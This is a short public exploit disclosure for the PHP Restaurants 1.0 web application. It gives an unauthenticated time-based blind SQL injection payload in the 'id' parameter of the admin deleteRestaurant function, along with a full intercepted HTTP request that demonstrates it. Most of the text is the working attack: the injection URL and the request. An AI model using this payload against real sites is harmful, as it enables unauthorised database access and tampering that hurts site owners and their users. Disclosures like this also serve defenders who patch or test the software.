PHP Restaurants 1.0 - SQLi (Unauthenticated)

# Exploit Title: PHP Restaurants 1.0 - SQLi (Unauthenticated)
# Google Dork: None
# Date: 01/29/2022
# Exploit Author: Nefrit ID
# Vendor Homepage: https://github.com/jcwebhole
# Software Link: https://github.com/jcwebhole/php_restaurants
# Version: 1.0
# Tested on: Kali Linux & Windows 10

*SQL injection is a code injection technique used to attack
data-driven applications, in which malicious SQL statements are
inserted into an entry field for execution (e.g. to dump the database
contents to the attacker). wikipedia*


===Start===
Exploit Url = http://localhost/php_restaurants-master/admin/functions.php?f=deleteRestaurant&id=1337
AND (SELECT 3952 FROM (SELECT(SLEEP(5)))XMSid)

Burpsuite Proxy Intercept
GET /php_restaurants-master/admin/functions.php?f=deleteRestaurant&id=1337
HTTP/1.1
Host: web_server_ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://web_server_ip/php_restaurants-master/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: uid=1
Connection: close